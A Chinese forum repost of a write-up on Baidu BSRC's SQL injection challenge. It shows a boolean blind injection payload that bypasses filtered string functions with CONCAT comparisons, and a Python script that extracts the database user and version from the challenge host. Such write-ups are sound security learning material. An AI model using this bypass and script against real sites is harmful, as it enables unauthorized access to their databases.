搜索
查看: 1154|回复: 0

百度BSRC SQL注入挑战赛部分writeup

[复制链接]

1839

主题

2255

帖子

1万

积分

管理员

Rank: 9Rank: 9Rank: 9

积分
11913
发表于 2017-6-5 21:19:15 | 显示全部楼层 |阅读模式
0x01 介绍
百度BSRC在4月底举办了一个sql注入挑战赛,以靶机的形式供安全测试人员攻击。
活动发布在百度安全应急响应中心微信公众号,判定标准分为两档:
  1. 读取mysql系统信息(user,version)或数据库名
  2. 通过SQL注入读取表内secret数据
复制代码
0x02 过滤与绕过
靶机屏蔽了错误信息,因此基于报错的注入无法进行,从测试来看,盲注的可能性很大。
经过测试,发现1在SQL语句中是整数。
靶机过滤了一些基本的字符串处理函数,mid,left,right,substr,substring等函数都被过滤。
无法将字符串分开就无法跑盲注,靶机过滤了所有的字符串分割函数,怎样才能让字符串中的字符一个一个跑出来呢?
答案是使用concat,我的绕过方法是通过concat与字符串比较大小,造成基于布尔型的注入。
payload:http://sqlitest.anquanbao.com.cn/api/query?art_id=hex(user()%3CCONCAT(char(67))) 在concat中不断增加字符即可做基于布尔类型的盲注。
代码
  1. #!/usr/bin/env python
  2. #-*- coding:utf-8 -*-
  3. import requests
  4. import sys
  5. url="http://sqlitest.anquanbao.com.cn/api/query?art_id=hex(version()<CONCAT(%s))"
  6. pre=""
  7. i=0
  8. result=""
  9. while i<128:
  10.     #print url
  11.     r=requests.get(url%(pre+'char('+str(i)+")"))
  12.     print r.url
  13.     if len(r.text)>203:
  14.         if i!=33:
  15.             pre=pre+'char('+str(i-1)+'),'
  16.             result+=chr(i-1)
  17.             print result
  18.             i=0
  19.         else:
  20.             break
  21.     i=i+1
复制代码
获取的user和version如下:
  1. user():BSQLITEST@LOCALHOST
  2. version():5.5.54-0+DEB8U1
复制代码

from:http://blog.nudtcat.org/SQL%E6%B ... A8%E5%88%86writeup/

过段时间可能会取消签到功能了
您需要登录后才可以回帖 登录 | Join BUC

本版积分规则

Powered by Discuz!

© 2012-2015 Baiker Union of China.

快速回复 返回顶部 返回列表